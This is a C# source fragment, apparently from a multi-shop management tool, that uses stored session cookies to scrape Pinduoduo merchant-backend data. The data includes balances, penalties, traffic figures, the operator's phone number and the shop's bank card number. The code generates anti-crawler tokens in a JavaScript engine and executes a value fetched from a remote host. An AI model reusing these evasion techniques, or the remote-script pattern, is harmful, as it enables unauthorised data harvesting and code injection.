html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//保证金
int freeBalance = BaseRegex.GetIntJson(ref html, "freeBalance");
decimal freeBalanceMount = freeBalance / 100.0M;
int threshold = BaseRegex.GetIntJson(ref html, "thresholdBalance");
decimal thresholdMount = threshold / 100.0M ;
url = "https://mms.pinduoduo.com/earth/api/mallPunishment";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());// GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//惩罚店铺
int level = BaseRegex.GetIntJson(ref html, "punishmentLevel");
string punishment = string.Empty;
if (level == 1)
{
punishment = "一级惩罚";
}
else if (level == 2)
{
punishment = "二级惩罚";
}
else if (level == 3)
{
punishment = "三级惩罚";
}
else
{
punishment = "无";
}
//罚款结束时间
string punEndtime = BaseRegex.GetStringJson(ref html, "endTime");//购买时间
if (string.IsNullOrEmpty(punEndtime))
{
punEndtime = "无";
}
url = "https://mms.pinduoduo.com/genji/bloodroot/mallPunishment/query/list";
refere = "https://mms.pinduoduo.com/pg/violation_list";
data = "{\"pageSize\":10,\"pageNum\":1}";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//获取所有订单金额
var punM = BaseRegex.GetMatchRegex(ref html, @"{""firstReasonId"":[\w\W]+?}");
string punReason = "";
int punstartTime = 0;
int punendTime = 0;
for (int i = 0; punM != null && i < punM.Count; i++)
{
string item = punM[i].Groups[0].Value;
int status = BaseRegex.GetIntJson(ref item, "status");
if (status != 1)
continue;
punReason = BaseRegex.GetStringJson(ref item, "reason");
punstartTime = BaseRegex.GetIntJson(ref item, "startTime");
punendTime = BaseRegex.GetIntJson(ref item, "endTime");
}
//提现金额
url = "https://mms.pinduoduo.com/uranus/api/mall/balance";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//提现金额
decimal putAmount = BaseRegex.GetDecimalJson(ref html, "result") / 100;
//待到账资金
url = "https://mms.pinduoduo.com/uranus/api/balance/cargoBalanceV2";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{}";
//第一页匹配结果
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());
//待到账资金
decimal waitAmount = BaseRegex.GetDecimalJson(ref html, "result") / 100;
//用户手机号
url = "https://mms.pinduoduo.com/earth/api/merchant/queryMerchantInfoByMallId";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//用户手机号
string operatorMobile = BaseRegex.GetStringJson(ref html, "operatorMobile");
//用户银行卡
url = "https://mms.pinduoduo.com/earth/api/merchant/queryMallBankCard";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobao(url, refere, true, cookies);
//用户银行卡
string accountCard = BaseRegex.GetStringJson(ref html, "accountCard");
//驳回商品记录数
url = "https://mms.pinduoduo.com/glide/v2/mms/query/commit/list";
refere = "https://mms.pinduoduo.com/Pdd.html";
int check_status = 3;
int length = 10;
int start = 1;
data = "{\"start\":" + start +
",\"length\":" + length +
",\"check_status\":" + check_status + "}";
//第一页匹配结果
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon()); //GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//驳回商品记录数
int totalCount = BaseRegex.GetIntJson(ref html, "total");
////昨日订单量
//url = "https://mms.pinduoduo.com/mars/shop/orderList";
url = "https://mms.pinduoduo.com/mars/shop/recentOrderList";
refere = "https://mms.pinduoduo.com/Pdd.html";
//int confirmStartTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 00:00:00")));
//int confirmEndTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 23:59:59")));
//int isLucky = -1;
//string afterSaleType = "1";
//int pageNumber = 1;
//int remarkStatus = -1;
//int pageSize = 30;
//string source = "MMS";
////{"orderType":1,"afterSaleType":1,"remarkStatus":-1,"groupStartTime":1562206464,"groupEndTime":1562292864,"pageNumber":1,"pageSize":20,"source":"MMS"}
////data = "{\"confirmStartTime\":" + confirmStartTime +
//// ",\"confirmEndTime\":" + confirmEndTime +
//// ",\"isLucky\":" + isLucky + ",\"afterSaleType\":\"" + afterSaleType +
//// "\",\"pageNumber\":" + pageNumber + ",\"remarkStatus\":" + remarkStatus +
//// ",\"pageSize\":" + pageSize + ",\"source\":\"" + source + "\"}";
////{"orderType":0,"afterSaleType":0,"remarkStatus":-1,"groupStartTime":1562206833,"groupEndTime":1562293233,"pageNumber":1,"pageSize":20,"source":"MMS"}
//data = "{\"orderType\":0,\"afterSaleType\":" + afterSaleType + ",\"remarkStatus\":" + remarkStatus + ",\"groupStartTime\":" + confirmStartTime
// + ",\"groupEndTime\":" + confirmEndTime + ",\"pageNumber\":" + pageNumber + ",\"pageSize\":" + pageSize + ",\"source\":\"MMS\"}";
////第一页匹配结果
//html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, UploadPinduoduoMain.AntiContent);
////昨日订单量
//int totalItemNumx = BaseRegex.GetIntJson(ref html, "totalItemNum");
////30天订单量
//url = "https://mms.pinduoduo.com/mars/shop/recentOrderList";
//refere = "https://mms.pinduoduo.com/Pdd.html";
//confirmStartTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00")));
//confirmEndTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd 23:59:59")));
//isLucky = -1;
//afterSaleType = "1";
//pageNumber = 1;
//remarkStatus = -1;
//pageSize = 50;
//source = "MMS";
//data = "{\"orderType\":0,\"afterSaleType\":"+ afterSaleType + ",\"remarkStatus\":" + remarkStatus + ",\"groupStartTime\":" + confirmStartTime
// + ",\"groupEndTime\":" + confirmEndTime + ",\"pageNumber\":" + pageNumber + ",\"pageSize\":" + pageSize + ",\"source\":\"MMS\"}";
////data = "{\"confirmStartTime\":" + confirmStartTime +
//// ",\"confirmEndTime\":" + confirmEndTime +
//// ",\"isLucky\":" + isLucky + ",\"afterSaleType\":\"" + afterSaleType +
//// "\",\"pageNumber\":" + pageNumber + ",\"remarkStatus\":" + remarkStatus +
//// ",\"pageSize\":" + pageSize + ",\"source\":\"" + source + "\"}";
////第一页匹配结果
//html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies, UploadPinduoduoMain.AntiContent);
////30天订单量
//int totalThirItemNum = BaseRegex.GetIntJson(ref html, "totalItemNum");
//物流异常
url = "https://mms.pinduoduo.com/rohan/api/rohan/mall/logistics/complaint/detail";
refere = "https://mms.pinduoduo.com/Pdd.html";
string cplt_date = DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd");
int offset = 0;
length = 10;
data = "{\"cplt_date\":\"" + cplt_date +
"\",\"length\":" + length +
",\"offset\":" + offset + "}";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
//物流异常
int totalWuLiuCount = BaseRegex.GetIntJson(ref html, "total");
decimal playAmount = 0m;
url = "https://mms.pinduoduo.com/mercury/play_money/list";
refere = "https://mms.pinduoduo.com/aftersales/micro_transfer?type=1";
int beginTimex = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00")));
int endTimex = BaseClass.GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59")));
data = "{\"startTime\":" + beginTimex + ",\"endTime\":" + endTimex + ",\"offset\":0,\"pageSize\":10}";
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon());// GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
var playsm = BaseRegex.GetMatchRegex(ref html, @"{""playMoneyAmount"":[^}]+}");
for (int i = 0; playsm != null && i < playsm.Count; i++)
{
string orderItem = playsm[i].Groups[0].Value;
int amount = BaseRegex.GetIntJson(ref orderItem, "playMoneyAmount");
playAmount = playAmount + amount / 100;
}
#region 历史罚款记录
//延迟发货 {"classList":[],"groupType":0,"beginTime":1533657600,"endTime":1534435200,"offset":0,"limit":20,"mallId":807021}
url = "https://mms.pinduoduo.com/uranus/api/bill/queryBillStatistics";
refere = "https://mms.pinduoduo.com/Pdd.html";
int beginTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.AddDays(-7).ToString("yyyy-MM-dd 00:00:00")));
int endTime = BaseClass.GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59")));
offset = 0;
int limit = 20;
int mallId = Shop.MallId;
data = "{\"beginTime\":" + beginTime +
",\"endTime\":" + endTime +
",\"groupType\":0,\"classList\":[],\"limit\":" + limit +
",\"offset\":" + offset + ",\"mallId\":" + mallId + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
int reusltTotal = BaseRegex.GetIntJson(ref html, "totalNumber");
url = "https://mms.pinduoduo.com/uranus/api/bill/queryUserDefinedBill";
refere = "https://mms.pinduoduo.com/Pdd.html";
html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, cookies, data, CpsSetAllGoods.getAnti0aon()); //GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
decimal sumAmount = 0M;
int page = reusltTotal / 20 + (reusltTotal % 20 > 0 ? 1 : 0);
for (int n = 1; n <= page; n++)
{
//非第一页匹配结果
if (n != 1)
{
data = "{\"beginTime\":" + beginTime +
",\"endTime\":" + endTime +
",\"groupType\":0,\"classList\":[],\"limit\":" + limit +
",\"offset\":" + (n - 1) * 20 + ",\"mallId\":" + mallId + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
//获取所有订单金额
var ordersm = BaseRegex.GetMatchRegex(ref html, @"{[^}]+""orderSn"":[^}]+}");
for (int i = 0; ordersm != null && i < ordersm.Count; i++)
{
string orderItem = ordersm[i].Groups[0].Value;
int type = BaseRegex.GetIntJson(ref orderItem, "type");
if (type != 101)
{
continue;
}
int amount = BaseRegex.GetIntJson(ref orderItem, "amount");
sumAmount = sumAmount + amount / 100;
}
}
long cbeginTime = GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00")));
long cendTime = GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59")));
url = "https://mms.pinduoduo.com/genji/poppy/overtimeShipment/query/chargeList";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"endTime\":"+ cendTime + ",\"orderSn\":\"\",\"pageNum\":1,\"pageSize\":10,\"startTime\":"+ cbeginTime + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
decimal sumChareAmount = 0M;
int total = BaseRegex.GetIntJson(ref html, "total");
page = total / 10 + (total % 10 > 0 ? 1 : 0);
for (int n = 1; n <= page; n++)
{
//非第一页匹配结果
if (n != 1)
{
data = "{\"endTime\":" + cendTime + ",\"orderSn\":\"\",\"pageNum\":"+n+",\"pageSize\":10,\"startTime\":" + cbeginTime + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
//获取所有订单金额
var ordersm = BaseRegex.GetMatchRegex(ref html, @"{""orderSn"":[^}]+}");
for (int i = 0; ordersm != null && i < ordersm.Count; i++)
{
string orderItem = ordersm[i].Groups[0].Value;
decimal amount = BaseRegex.GetDecimalJson(ref orderItem, "chargeAmount");
sumChareAmount = sumChareAmount + amount;
}
}
cbeginTime = GetTime(DateTime.Parse(DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd 00:00:00")));
cendTime = GetTime(DateTime.Parse(DateTime.Now.ToString("yyyy-MM-dd 23:59:59")));
url = "https://mms.pinduoduo.com/genji/poppy/stockout/query/stockoutList";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"endTime\":" + cendTime + ",\"orderSn\":\"\",\"pageNum\":1,\"pageSize\":10,\"startTime\":" + cbeginTime + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
decimal sumStockAmount = 0M;
total = BaseRegex.GetIntJson(ref html, "total");
page = total / 10 + (total % 10 > 0 ? 1 : 0);
for (int n = 1; n <= page; n++)
{
//非第一页匹配结果
if (n != 1)
{
data = "{\"endTime\":" + cendTime + ",\"orderSn\":\"\",\"pageNum\":" + n + ",\"pageSize\":10,\"startTime\":" + cbeginTime + "}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
}
//获取所有订单金额
var ordersm = BaseRegex.GetMatchRegex(ref html, @"{""confirmTime"":[^}]+}");
for (int i = 0; ordersm != null && i < ordersm.Count; i++)
{
string orderItem = ordersm[i].Groups[0].Value;
int amount = BaseRegex.GetIntJson(ref orderItem, "couponAmount");
sumStockAmount = sumStockAmount + amount/100M;
}
}
//访问量
//url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/overviewList";
//refere = "https://mms.pinduoduo.com/sycm/goods_effect";
//string endDate = DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd");
//string sevStartDate = DateTime.Now.AddDays(-7).ToString("yyyy-MM-dd");
//string startDate = DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd");
//data = "{\"endDate\":\"" + endDate +
// "\",\"startDate\":\"" + startDate +
// "\"}";
////第一页匹配结果
//html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
////上架商品记录数
//int lower66Count = BaseRegex.GetIntJson(ref html, "total");
//var mm = BaseRegex.GetMatchRegex(ref html, @"{\s*""avgGoodsUv"":[^\}]+?}");
//int oneUVSum = 0;
//int onePVSum = 0;
//decimal oneVcrSum = 0;
//int sevUVSum = 0;
//int sevPVSum = 0;
//decimal sevVCRSum = 0;
//int thirtyUVSum = 0;
//int thirtyPVSum = 0;
//decimal thirtyVCRSum = 0;
//for (int j = 0; mm != null && j < mm.Count; j++)
//{
// string item = mm[j].Groups[0].Value;
// string statDate = BaseRegex.GetStringJson(ref item, "statDate");
// int goodsUv = BaseRegex.GetIntJson(ref item, "goodsUv");
// int goodsPv = BaseRegex.GetIntJson(ref item, "goodsPv");
// decimal goodsVcr = BaseRegex.GetDecimalJson(ref item, "goodsVcr");
// if (Convert.ToDateTime(statDate) >= Convert.ToDateTime(endDate))
// {
// oneUVSum += goodsUv;
// onePVSum += goodsPv;
// oneVcrSum += goodsVcr;
// }
// if (Convert.ToDateTime(statDate) >= Convert.ToDateTime(sevStartDate))
// {
// sevUVSum += goodsUv;
// sevPVSum += goodsPv;
// sevVCRSum += goodsVcr;
// }
// if (Convert.ToDateTime(statDate) >= Convert.ToDateTime(startDate))
// {
// thirtyUVSum += goodsUv;
// thirtyPVSum += goodsPv;
// thirtyVCRSum += goodsVcr;
// }
//}
//sevVCRSum = sevVCRSum / 7;
//thirtyVCRSum = thirtyVCRSum / 30;
int oneUVSum = 0;
int onePVSum = 0;
decimal oneVcrSum = 0M;
int sevUVSum = 0;
int sevPVSum = 0;
decimal sevVCRSum = 0M;
int thirtyUVSum = 0;
int thirtyPVSum = 0;
decimal thirtyVCRSum = 0M;
//if (string.IsNullOrEmpty(PinduoduoAuth.strContent))
//{
// string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js";
// PinduoduoAuth.strContent = FileBase.ReadAllText(path);
//}
//string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000";
//string str = "";
//for (int i = 0; i < 16; i++)
//{
// str += new Random(Guid.NewGuid().GetHashCode()).Next(9);
//}
//string strToken = str + "-" + strTime;
//string strNumber = "";
//string temp2 = strTime + "," + strToken + "," + strNumber;
//string fun2 = string.Format(@"getEncode('{0}','{1}','{2}')", strTime, strToken, strNumber);
//string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent);
if (string.IsNullOrEmpty(PinduoduoAuth.strContent))
{
//string path = AppDomain.CurrentDomain.BaseDirectory + "crawlerInfoInterface.js";
PinduoduoAuth.strContent = GetVisitProductNew.strJs;//FileBase.ReadAllText(path);
}
if (string.IsNullOrEmpty(NoCode))
{
html = GetHtml.Gbk("http://nano.qixiaoke.com/nano.txt");
NoCode = BaseRegex.GetMatchRegexString(ref html, @"([\w\W]+?)-----");
}
string strTime = BaseClass.GetTime(DateTime.Now).ToString() + "000";
string strNumber = "https://mms.pinduoduo.com/latitude/auth/login";
string fun2 = @"getEncode('" + strTime + "','" + NoCode + "','')";
string codex = UploadPinduoduoSet.ExecuteScript(fun2, PinduoduoAuth.strContent);
cookies = Shop.Cookies;
//昨天
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codex = jsEngine.CallFunction("aaa", "").ToString();
}
//url = "https://mms.pinduoduo.com/sydney/api/mallFlow/queryMallFlowOverView"; //"https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
//refere = "https://mms.pinduoduo.com/sycm/goods_effect";
//data = "{\"beginDate\":\""+ DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"endDate\":\""+ DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\""+ codex + "\"}";
//data = "{\"queryType\":0,\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}";
url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
refere = "https://mms.pinduoduo.com/sycm/goods_effect";
data = "{\"queryType\":0,\"queryDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
onePVSum = BaseRegex.GetIntJson(ref html, "gpv");
oneUVSum = BaseRegex.GetIntJson(ref html, "guv");
oneVcrSum = BaseRegex.GetDecimalJson(ref html, "payUvRto");
int totalItemNum= BaseRegex.GetIntJson(ref html, "payOrdrCnt");
//url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList";
//refere = "https://mms.pinduoduo.com/Pdd.html";
//data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + 1 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
//html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
//int allCount = BaseRegex.GetIntJson(ref html, "total");
//page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0);
//for (int i = 1; i <= page; i++)
//{
// if (i != 1)
// {
// data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + 1 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
// html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
// }
// m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}");
// for (int j = 0; m != null && j < m.Count; j++)
// {
// string list = m[j].Groups[0].Value;
// int goodsUv = BaseRegex.GetIntJson(ref list, "goodsUv");
// int goodsPv = BaseRegex.GetIntJson(ref list, "goodsPv");
// decimal goodsVcr = BaseRegex.GetDecimalJson(ref list, "goodsVcr");
// oneUVSum += goodsUv;
// onePVSum += goodsPv;
// oneVcrSum += goodsVcr;
// }
//}
if (sevFlag)
{
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codex = jsEngine.CallFunction("aaa", "").ToString();
}
//url = "https://mms.pinduoduo.com/sydney/api/mallFlow/queryMallFlowOverView"; //"https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
//refere = "https://mms.pinduoduo.com/sycm/goods_effect";
//data = "{\"beginDate\":\"" + DateTime.Now.AddDays(-7).ToString("yyyy-MM-dd") + "\",\"endDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}";
url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
refere = "https://mms.pinduoduo.com/sycm/goods_effect";
data = "{\"queryType\":1,\"queryDate\":\"\",\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
sevPVSum = BaseRegex.GetIntJson(ref html, "gpv");
sevUVSum = BaseRegex.GetIntJson(ref html, "guv");
sevVCRSum = BaseRegex.GetDecimalJson(ref html, "payUvRto");
////7天
//url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList";
//refere = "https://mms.pinduoduo.com/Pdd.html";
//data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + 7 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
//html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
//allCount = BaseRegex.GetIntJson(ref html, "total");
//page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0);
//for (int i = 1; i <= page; i++)
//{
// if (i != 1)
// {
// data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + 7 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
// html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
// }
// m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}");
// for (int j = 0; m != null && j < m.Count; j++)
// {
// string list = m[j].Groups[0].Value;
// int goodsUv = BaseRegex.GetIntJson(ref list, "goodsUv");
// int goodsPv = BaseRegex.GetIntJson(ref list, "goodsPv");
// decimal goodsVcr = BaseRegex.GetDecimalJson(ref list, "goodsVcr");
// sevUVSum += goodsUv;
// sevPVSum += goodsPv;
// sevVCRSum += goodsVcr;
// }
//}
}
int totalThirItemNum = 0;
if (thirFlag)
{
using (IJsEngine jsEngine = new V8JsEngine())
{
jsEngine.Execute(GetProductOnlineClass.JsCodeGetSms);
codex = jsEngine.CallFunction("aaa", "").ToString();
}
//url = "https://mms.pinduoduo.com/sydney/api/mallFlow/queryMallFlowOverView"; //"https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
//refere = "https://mms.pinduoduo.com/sycm/goods_effect";
//data = "{\"beginDate\":\"" + DateTime.Now.AddDays(-30).ToString("yyyy-MM-dd") + "\",\"endDate\":\"" + DateTime.Now.AddDays(-1).ToString("yyyy-MM-dd") + "\",\"crawlerInfo\":\"" + codex + "\"}";
url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/queryGoodsPageOverView";
refere = "https://mms.pinduoduo.com/sycm/goods_effect";
data = "{\"queryType\":2,\"queryDate\":\"\",\"crawlerInfo\":\"" + codex + "\"}";
html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
thirtyPVSum = BaseRegex.GetIntJson(ref html, "gpv");
thirtyUVSum = BaseRegex.GetIntJson(ref html, "guv");
thirtyVCRSum = BaseRegex.GetDecimalJson(ref html, "payUvRto");
totalThirItemNum = BaseRegex.GetIntJson(ref html, "payOrdrCnt");
////30天
//url = "https://mms.pinduoduo.com/sydney/api/goodsDataShow/detailList";
//refere = "https://mms.pinduoduo.com/Pdd.html";
//data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":1,\"pageSize\":10,\"crawlerInfo\":\"" + codex + "\",\"spanDays\":" + 30 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
//html = GetPostTaobaoHtml.GetJsonPost(url, refere, true, data, cookies);
//allCount = BaseRegex.GetIntJson(ref html, "total");
//page = allCount / 10 + (allCount % 10 > 0 ? 1 : 0);
//for (int i = 1; i <= page; i++)
//{
// if (i != 1)
// {
// data = "{\"orderBy\":\"pay_ord_cnt\",\"orderStrategy\":\"DESC\",\"pageNumber\":" + i + ",\"pageSize\":10,\"spanDays\":" + 30 + ",\"readyDate\":\"" + BaseClass.GetServerTimeString().AddDays(-1).ToString("yyyy-MM-dd") + "\"}";
// html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, cookies);
// }
// m = BaseRegex.GetMatchRegex(ref html, @"\{([^\}]+?)\}");
// for (int j = 0; m != null && j < m.Count; j++)
// {
// string list = m[j].Groups[0].Value;
// int goodsUv = BaseRegex.GetIntJson(ref list, "goodsUv");
// int goodsPv = BaseRegex.GetIntJson(ref list, "goodsPv");
// decimal goodsVcr = BaseRegex.GetDecimalJson(ref list, "goodsVcr");
// thirtyUVSum += goodsUv;
// thirtyPVSum += goodsPv;
// thirtyVCRSum += goodsVcr;
// }
//}
}
//sevVCRSum = sevVCRSum / 7;
//thirtyVCRSum = thirtyVCRSum / 30;
#endregion
ShopDetail shopDetail = new ShopDetail();
shopDetail.userName = Shop.ShopName;
shopDetail.shopName = Shop.Name;
shopDetail.bondMoney = freeBalanceMount.ToString();//保证金
shopDetail.threshold = thresholdMount.ToString();//阈值
shopDetail.putForward = putAmount.ToString();//可提现
shopDetail.expAbnormal = totalWuLiuCount.ToString();//物流异常
shopDetail.allGood = allGoodsCount.ToString();//线上产品
shopDetail.onSaleGood = ShelvesCount.ToString();//上架产品
shopDetail.sellOut = sellOutCount.ToString();//售罄
shopDetail.lowerGood = lowerCount.ToString();//下架产品
shopDetail.reject = totalCount.ToString();//驳回
shopDetail.yesUV = oneUVSum.ToString();//昨日访客
shopDetail.yesPV = onePVSum.ToString();//昨日流量
shopDetail.yesConRate = oneVcrSum.ToString("0.0000");//昨日转化
shopDetail.sevUV = sevUVSum.ToString();//7天访客
shopDetail.sevPV = sevPVSum.ToString();//7天流量
shopDetail.sevConRate = sevVCRSum.ToString("0.0000");// 7天转化
shopDetail.thirUV = thirtyUVSum.ToString();//30天访客
shopDetail.thirPV = thirtyPVSum.ToString();//30天流量
shopDetail.thiryesConRate = thirtyVCRSum.ToString("0.0000");//30天转化
shopDetail.punEndtime = punEndtime;//惩罚结束日期
shopDetail.hisFines = sumChareAmount.ToString();//历史罚款
shopDetail.delay = sumStockAmount.ToString();
if (!string.IsNullOrEmpty(punReason))
shopDetail.punReason = punReason;
if (punstartTime>0)
shopDetail.punstartTime = BaseClass.StampToDateTime(punstartTime).ToString();
if (punendTime > 0)
shopDetail.punendTime = BaseClass.StampToDateTime(punendTime).ToString();
shopDetail.punLevel = punishment.ToString();//惩罚
shopDetail.mainCam = staple == null ? "" : staple.ToString();//主营类目
shopDetail.todayAccount = todayMount.ToString();//今日成交
shopDetail.waitForAccount = waitAmount.ToString();//待到账
shopDetail.thirtySellGood = thirtydayGoodsNum.ToString();//30天销售
shopDetail.thirtyDeal = thirtydayIn.ToString();//30天成交金额
shopDetail.yesOrder = totalItemNum.ToString();// 昨天订单数
shopDetail.thirtyOrder = totalThirItemNum.ToString();//30天订单数
shopDetail.bankCard = accountCard;//入驻银行卡
shopDetail.mobile = operatorMobile;//入驻手机号
shopDetail.playAmount = playAmount;//小额打款
shopDetail.yesdayIn = yesdayIn.ToString();//昨天成交金额
shopDetail.sevendayIn = sevendayIn.ToString();//7天成交金额
shopDetail.status = "读取完成";
ShopDetailControl.ShopDetailTempList.Add(shopDetail);
}
catch
{
}
}
/// <summary>
/// 获取绝对时间
/// </summary>
/// <returns></returns>
public static long GetTime(DateTime t)
{
return ConvertDateTimeInt(t) + BaseClass.TimeDifferent;
}
public static long ConvertDateTimeInt(DateTime time)
{
System.DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new System.DateTime(1970, 1, 1));
return (long)(time - startTime).TotalMilliseconds;
}
}
public class ShopDetail
{
public string userName = "";
public string shopName = "";
public string bondMoney = "";
public string putForward = "";
public string expAbnormal = "";
public string allGood = "";
public string onSaleGood = "";
public string sellOut = "";
public string lowerGood = "";
public string reject = "";
public string yesUV = "";
public string yesPV = "";
public string yesConRate = "";
public string sevUV = "";
public string sevPV = "";
public string sevConRate = "";
public string thirUV = "";
public string thirPV = "";
public string thiryesConRate = "";
public string punLevel = "";
public string punEndtime = "";
public string mainCam = "";
public string todayAccount = "";
public string waitForAccount = "";
public string thirtySellGood = "";
public string thirtyOrder = "";
public string thirtyDeal = "";
public string yesdayIn = "";
public string sevendayIn = "";
public string yesOrder = "";
public string hisFines = "";
public string delay = "";
public string bankCard = "";
public string mobile = "";
public string status = "";
public string punReason = "";
public string punstartTime = "";
public string punendTime = "";
public decimal playAmount = 0M;
public string threshold = "";
}
}
File diff suppressed because it is too large. Load diff
+791
View File
@@ -0,0 +1,791 @@
using AllBase;
using NaiBa.Util.Extension;
using Newtonsoft.Json;
